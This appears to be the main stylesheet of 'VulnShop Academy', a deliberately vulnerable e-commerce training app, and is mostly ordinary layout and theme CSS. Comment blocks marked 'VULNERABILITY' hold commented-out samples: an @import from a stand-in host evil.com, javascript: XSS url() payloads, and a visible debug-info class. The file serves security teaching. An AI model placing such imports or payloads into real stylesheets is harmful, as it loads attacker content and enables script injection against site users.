/* ============================================
   VulnShop Academy - Complete E-Commerce Style
   Professional, modern, and fully responsive
   ============================================ */

/* ============================================
   VULNERABILITY: CSS Injection via @import
   ============================================ */
/* @import url('http://evil.com/malicious.css'); */

/* ============================================
   CSS Reset & Base Styles
   ============================================ */
* {
    margin: 0;
    padding: 0;
    box-sizing: border-box;
}

:root {
    /* Primary Colors */
    --primary-color: #2c3e7a;
    --primary-dark: #1a2744;
    --primary-light: #4a6cb5;
    --secondary-color: #e74c3c;
    --accent-color: #f39c12;
    --success-color: #27ae60;
    --warning-color: #f1c40f;
    --danger-color: #e74c3c;
    --info-color: #3498db;
    
    /* Neutral Colors */
    --dark-color: #2c3e50;
    --gray-dark: #34495e;
    --gray: #7f8c8d;
    --gray-light: #bdc3c7;
    --light-color: #ecf0f1;
    --white: #ffffff;
    --off-white: #f8f9fa;
    
    /* Typography */
    --font-primary: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
    --font-secondary: 'Georgia', serif;
    
    /* Spacing */
    --spacing-xs: 0.25rem;
    --spacing-sm: 0.5rem;
    --spacing-md: 1rem;
    --spacing-lg: 2rem;
    --spacing-xl: 4rem;
    
    /* Border Radius */
    --radius-sm: 4px;
    --radius-md: 8px;
    --radius-lg: 16px;
    --radius-xl: 24px;
    
    /* Shadows */
    --shadow-sm: 0 2px 4px rgba(0,0,0,0.1);
    --shadow-md: 0 4px 8px rgba(0,0,0,0.12);
    --shadow-lg: 0 8px 16px rgba(0,0,0,0.15);
    --shadow-xl: 0 16px 32px rgba(0,0,0,0.2);
    
    /* Transitions */
    --transition-fast: 0.2s ease;
    --transition-normal: 0.3s ease;
    --transition-slow: 0.5s ease;
}

/* ============================================
   VULNERABILITY: XSS via CSS expression
   ============================================ */
/* background-image: url('javascript:alert("XSS")'); */

body {
    font-family: var(--font-primary);
    background-color: var(--off-white);
    color: var(--dark-color);
    line-height: 1.6;
    min-height: 100vh;
    display: flex;
    flex-direction: column;
}

/* ============================================
   Typography
   ============================================ */
h1, h2, h3, h4, h5, h6 {
    font-weight: 700;
    line-height: 1.2;
    margin-bottom: var(--spacing-md);
}

h1 { font-size: 2.5rem; }
h2 { font-size: 2rem; }
h3 { font-size: 1.75rem; }
h4 { font-size: 1.5rem; }
h5 { font-size: 1.25rem; }
h6 { font-size: 1rem; }

a {
    color: var(--primary-color);
    text-decoration: none;
    transition: var(--transition-fast);
}

a:hover {
    color: var(--primary-light);
    text-decoration: none;
}

/* ============================================
   Navigation
   ============================================ */
.navbar {
    background: linear-gradient(135deg, var(--primary-dark), var(--primary-color)) !important;
    padding: 0.8rem 0;
    box-shadow: var(--shadow-md);
    border-bottom: 3px solid var(--accent-color);
}

.navbar-brand {
    font-size: 1.5rem;
    font-weight: 700;
    color: var(--white) !important;
    letter-spacing: 0.5px;
}

.navbar-brand i {
    color: var(--accent-color);
    margin-right: 10px;
}

.navbar .nav-link {
    color: rgba(255,255,255,0.9) !important;
    font-weight: 500;
    padding: 0.5rem 1rem !important;
    transition: var(--transition-fast);
    border-radius: var(--radius-sm);
}

.navbar .nav-link:hover {
    color: var(--white) !important;
    background: rgba(255,255,255,0.1);
}

.navbar .nav-link i {
    margin-right: 6px;
}

.navbar .nav-link.active {
    color: var(--white) !important;
    background: rgba(255,255,255,0.15);
}

/* Cart Badge */
.cart-badge {
    background: var(--danger-color);
    color: white;
    border-radius: 50%;
    padding: 2px 8px;
    font-size: 0.75rem;
    font-weight: 700;
    margin-left: 4px;
}

/* ============================================
   Hero Section (Jumbotron)
   ============================================ */
.jumbotron {
    background: linear-gradient(135deg, var(--primary-color), var(--primary-light));
    color: var(--white);
    padding: 4rem 2rem;
    border-radius: var(--radius-lg);
    margin: 1rem 0 2rem 0;
    box-shadow: var(--shadow-lg);
    position: relative;
    overflow: hidden;
}

.jumbotron::before {
    content: '';
    position: absolute;
    top: -50%;
    right: -10%;
    width: 60%;
    height: 200%;
    background: rgba(255,255,255,0.05);
    transform: rotate(-15deg);
}

.jumbotron .display-4 {
    font-size: 3rem;
    font-weight: 800;
    margin-bottom: 1rem;
    position: relative;
    z-index: 1;
}

.jumbotron .lead {
    font-size: 1.25rem;
    opacity: 0.9;
    position: relative;
    z-index: 1;
}

.jumbotron .btn-primary {
    background: var(--accent-color);
    border: none;
    color: var(--dark-color);
    font-weight: 600;
    padding: 0.75rem 2rem;
    border-radius: var(--radius-md);
    transition: var(--transition-normal);
    position: relative;
    z-index: 1;
}

.jumbotron .btn-primary:hover {
    background: #e67e22;
    transform: translateY(-2px);
    box-shadow: var(--shadow-lg);
}

/* ============================================
   Cards (Product Cards)
   ============================================ */
.card {
    border: none;
    border-radius: var(--radius-md);
    overflow: hidden;
    box-shadow: var(--shadow-sm);
    transition: var(--transition-normal);
    background: var(--white);
    height: 100%;
}

.card:hover {
    transform: translateY(-8px);
    box-shadow: var(--shadow-lg);
}

.card-img-top {
    height: 220px;
    object-fit: cover;
    background: var(--light-color);
    transition: var(--transition-normal);
}

.card:hover .card-img-top {
    transform: scale(1.02);
}

.card-body {
    padding: 1.25rem;
}

.card-title {
    font-size: 1.1rem;
    font-weight: 600;
    margin-bottom: 0.5rem;
    color: var(--dark-color);
    display: -webkit-box;
    -webkit-line-clamp: 2;
    -webkit-box-orient: vertical;
    overflow: hidden;
    min-height: 2.6rem;
}

.card-text {
    color: var(--gray);
    font-size: 0.9rem;
    display: -webkit-box;
    -webkit-line-clamp: 2;
    -webkit-box-orient: vertical;
    overflow: hidden;
    min-height: 2.8rem;
}

.card .price {
    font-size: 1.4rem;
    font-weight: 700;
    color: var(--primary-color);
    margin: 0.5rem 0;
}

.card .compare-price {
    font-size: 0.9rem;
    color: var(--gray);
    text-decoration: line-through;
    margin-left: 8px;
}

.card .btn-primary {
    background: var(--primary-color);
    border: none;
    padding: 0.5rem 1.25rem;
    font-weight: 500;
    border-radius: var(--radius-sm);
    transition: var(--transition-fast);
}

.card .btn-primary:hover {
    background: var(--primary-light);
    transform: translateY(-2px);
    box-shadow: var(--shadow-md);
}

/* Featured Badge */
.featured-badge {
    position: absolute;
    top: 10px;
    right: 10px;
    background: var(--accent-color);
    color: var(--white);
    padding: 0.25rem 0.75rem;
    border-radius: var(--radius-sm);
    font-size: 0.75rem;
    font-weight: 700;
    z-index: 2;
}

/* ============================================
   Product Grid
   ============================================ */
.product-grid {
    display: grid;
    grid-template-columns: repeat(auto-fill, minmax(280px, 1fr));
    gap: 1.5rem;
    padding: 1rem 0;
}

/* ============================================
   Categories Sidebar
   ============================================ */
.list-group-item {
    border: none;
    padding: 0.75rem 1.25rem;
    margin-bottom: 2px;
    border-radius: var(--radius-sm);
    transition: var(--transition-fast);
}

.list-group-item a {
    color: var(--dark-color);
    display: block;
}

.list-group-item:hover {
    background: var(--light-color);
}

.list-group-item.active {
    background: var(--primary-color);
    color: var(--white);
}

.list-group-item.active a {
    color: var(--white);
}

/* ============================================
   Cart & Checkout
   ============================================ */
.cart-table {
    background: var(--white);
    border-radius: var(--radius-md);
    overflow: hidden;
    box-shadow: var(--shadow-sm);
}

.cart-table thead {
    background: var(--primary-color);
    color: var(--white);
}

.cart-table tbody tr {
    transition: var(--transition-fast);
}

.cart-table tbody tr:hover {
    background: var(--light-color);
}

.cart-table .quantity-input {
    width: 70px;
    text-align: center;
    border: 1px solid var(--gray-light);
    border-radius: var(--radius-sm);
    padding: 0.25rem;
}

.cart-summary {
    background: var(--white);
    padding: 1.5rem;
    border-radius: var(--radius-md);
    box-shadow: var(--shadow-sm);
}

.cart-summary .total {
    font-size: 1.5rem;
    font-weight: 700;
    color: var(--primary-color);
}

/* ============================================
   Forms
   ============================================ */
.form-control {
    border: 2px solid #e9ecef;
    border-radius: var(--radius-sm);
    padding: 0.75rem 1rem;
    transition: var(--transition-fast);
}

.form-control:focus {
    border-color: var(--primary-color);
    box-shadow: 0 0 0 0.2rem rgba(44, 62, 122, 0.15);
}

.form-group label {
    font-weight: 600;
    margin-bottom: 0.5rem;
    color: var(--dark-color);
}

/* ============================================
   Buttons
   ============================================ */
.btn {
    font-weight: 600;
    padding: 0.6rem 1.5rem;
    border-radius: var(--radius-sm);
    transition: var(--transition-normal);
}

.btn-primary {
    background: var(--primary-color);
    border: none;
    color: var(--white);
}

.btn-primary:hover {
    background: var(--primary-light);
    transform: translateY(-2px);
    box-shadow: var(--shadow-md);
}

.btn-success {
    background: var(--success-color);
    border: none;
}

.btn-success:hover {
    background: #219a52;
    transform: translateY(-2px);
    box-shadow: var(--shadow-md);
}

.btn-danger {
    background: var(--danger-color);
    border: none;
}

.btn-danger:hover {
    background: #c0392b;
    transform: translateY(-2px);
    box-shadow: var(--shadow-md);
}

.btn-warning {
    background: var(--warning-color);
    border: none;
    color: var(--dark-color);
}

.btn-warning:hover {
    background: #f39c12;
    transform: translateY(-2px);
    box-shadow: var(--shadow-md);
}

.btn-outline-primary {
    border: 2px solid var(--primary-color);
    color: var(--primary-color);
    background: transparent;
}

.btn-outline-primary:hover {
    background: var(--primary-color);
    color: var(--white);
}

/* ============================================
   Footer
   ============================================ */
footer {
    background: var(--dark-color);
    color: var(--white);
    padding: 3rem 0 1.5rem 0;
    margin-top: auto;
}

footer h5 {
    color: var(--white);
    font-weight: 600;
    margin-bottom: 1.5rem;
}

footer a {
    color: rgba(255,255,255,0.7);
    transition: var(--transition-fast);
}

footer a:hover {
    color: var(--white);
    text-decoration: none;
}

footer .social-links a {
    display: inline-block;
    width: 40px;
    height: 40px;
    line-height: 40px;
    text-align: center;
    border-radius: 50%;
    background: rgba(255,255,255,0.1);
    transition: var(--transition-fast);
    margin-right: 8px;
}

footer .social-links a:hover {
    background: var(--primary-color);
    transform: translateY(-3px);
}

footer .border-top {
    border-color: rgba(255,255,255,0.1) !important;
}

/* ============================================
   Alerts & Notifications
   ============================================ */
.alert {
    border: none;
    border-radius: var(--radius-md);
    padding: 1rem 1.5rem;
    box-shadow: var(--shadow-sm);
}

.alert-success {
    background: #d4edda;
    color: #155724;
}

.alert-danger {
    background: #f8d7da;
    color: #721c24;
}

.alert-warning {
    background: #fff3cd;
    color: #856404;
}

.alert-info {
    background: #d1ecf1;
    color: #0c5460;
}

/* ============================================
   Breadcrumb
   ============================================ */
.breadcrumb {
    background: transparent;
    padding: 0.5rem 0;
    margin-bottom: 1rem;
}

.breadcrumb-item a {
    color: var(--primary-color);
}

.breadcrumb-item.active {
    color: var(--gray);
}

/* ============================================
   Dashboard Stats
   ============================================ */
.stat-card {
    background: var(--white);
    border-radius: var(--radius-md);
    padding: 1.5rem;
    box-shadow: var(--shadow-sm);
    transition: var(--transition-normal);
}

.stat-card:hover {
    transform: translateY(-5px);
    box-shadow: var(--shadow-lg);
}

.stat-card .stat-icon {
    font-size: 2.5rem;
    color: var(--primary-color);
    opacity: 0.3;
}

.stat-card .stat-number {
    font-size: 2rem;
    font-weight: 700;
    color: var(--dark-color);
}

.stat-card .stat-label {
    color: var(--gray);
    font-size: 0.9rem;
}

/* ============================================
   Wishlist Heart
   ============================================ */
.heart {
    color: var(--danger-color);
    font-size: 1.5rem;
    transition: var(--transition-fast);
}

.heart:hover {
    transform: scale(1.2);
}

/* ============================================
   Reviews
   ============================================ */
.review-card {
    background: var(--white);
    border-radius: var(--radius-md);
    padding: 1.25rem;
    margin-bottom: 1rem;
    box-shadow: var(--shadow-sm);
}

.review-card .review-author {
    font-weight: 600;
    color: var(--primary-color);
}

.review-card .review-rating {
    color: var(--warning-color);
}

.review-card .review-date {
    color: var(--gray);
    font-size: 0.85rem;
}

/* ============================================
   Admin Panel
   ============================================ */
.admin-sidebar {
    background: var(--dark-color);
    min-height: 100vh;
    padding: 1.5rem 0;
}

.admin-sidebar .nav-link {
    color: rgba(255,255,255,0.8);
    padding: 0.75rem 1.5rem;
    transition: var(--transition-fast);
}

.admin-sidebar .nav-link:hover {
    background: rgba(255,255,255,0.1);
    color: var(--white);
}

.admin-sidebar .nav-link.active {
    background: var(--primary-color);
    color: var(--white);
}

.admin-sidebar .nav-link i {
    margin-right: 10px;
    width: 20px;
}

.admin-content {
    padding: 2rem;
    background: var(--off-white);
    min-height: 100vh;
}

.admin-card {
    background: var(--white);
    border-radius: var(--radius-md);
    padding: 1.5rem;
    box-shadow: var(--shadow-sm);
    margin-bottom: 1.5rem;
}

.admin-card .card-header {
    font-weight: 600;
    padding-bottom: 1rem;
    border-bottom: 2px solid var(--light-color);
    margin-bottom: 1rem;
}

/* ============================================
   Responsive Design
   ============================================ */
@media (max-width: 1200px) {
    .product-grid {
        grid-template-columns: repeat(auto-fill, minmax(250px, 1fr));
    }
}

@media (max-width: 992px) {
    .jumbotron .display-4 {
        font-size: 2.5rem;
    }
    
    .product-grid {
        grid-template-columns: repeat(auto-fill, minmax(220px, 1fr));
    }
    
    .admin-sidebar {
        min-height: auto;
        padding: 1rem;
    }
}

@media (max-width: 768px) {
    .jumbotron {
        padding: 2rem 1rem;
    }
    
    .jumbotron .display-4 {
        font-size: 2rem;
    }
    
    .jumbotron .lead {
        font-size: 1rem;
    }
    
    .product-grid {
        grid-template-columns: repeat(auto-fill, minmax(160px, 1fr));
        gap: 1rem;
    }
    
    .card-img-top {
        height: 160px;
    }
    
    .card-title {
        font-size: 0.95rem;
        min-height: 2.2rem;
    }
    
    .card .price {
        font-size: 1.1rem;
    }
    
    .navbar-brand {
        font-size: 1.2rem;
    }
    
    .stat-card .stat-number {
        font-size: 1.5rem;
    }
    
    .admin-content {
        padding: 1rem;
    }
}

@media (max-width: 576px) {
    .product-grid {
        grid-template-columns: repeat(auto-fill, minmax(140px, 1fr));
    }
    
    .card-img-top {
        height: 140px;
    }
    
    .card-body {
        padding: 0.75rem;
    }
    
    .card-title {
        font-size: 0.85rem;
        min-height: 2rem;
    }
    
    .card-text {
        font-size: 0.8rem;
        min-height: 2.4rem;
    }
    
    .card .price {
        font-size: 1rem;
    }
    
    .card .btn-sm {
        font-size: 0.75rem;
        padding: 0.25rem 0.75rem;
    }
    
    .jumbotron .display-4 {
        font-size: 1.5rem;
    }
    
    .jumbotron .btn-primary {
        padding: 0.5rem 1.5rem;
        font-size: 0.9rem;
    }
}

/* ============================================
   Animations
   ============================================ */
@keyframes fadeInUp {
    from {
        opacity: 0;
        transform: translateY(20px);
    }
    to {
        opacity: 1;
        transform: translateY(0);
    }
}

.fade-in-up {
    animation: fadeInUp 0.6s ease forwards;
}

@keyframes pulse {
    0% { transform: scale(1); }
    50% { transform: scale(1.05); }
    100% { transform: scale(1); }
}

.pulse {
    animation: pulse 2s infinite;
}

/* ============================================
   Utilities
   ============================================ */
.text-primary-custom { color: var(--primary-color); }
.text-accent { color: var(--accent-color); }
.bg-primary-custom { background: var(--primary-color); }

.shadow-hover {
    transition: var(--transition-normal);
}

.shadow-hover:hover {
    box-shadow: var(--shadow-lg);
}

.rounded-custom {
    border-radius: var(--radius-md);
}

.overflow-hidden {
    overflow: hidden;
}

/* ============================================
   VULNERABILITY: Information Disclosure
   ============================================ */
.debug-info {
    display: block;
    background: #ffd;
    border: 1px solid #ff0;
    padding: 10px;
    font-family: monospace;
    font-size: 12px;
    border-radius: var(--radius-sm);
}

/* Admin panel highlight */
.admin-panel {
    background: #f4f4f4;
    border-left: 4px solid var(--primary-color);
    padding: 1rem;
    border-radius: var(--radius-sm);
}

/* ============================================
   VULNERABILITY: CSS Injection via url()
   ============================================ */
/* .vulnerable-class {
    background-image: url('javascript:alert("XSS")');
} */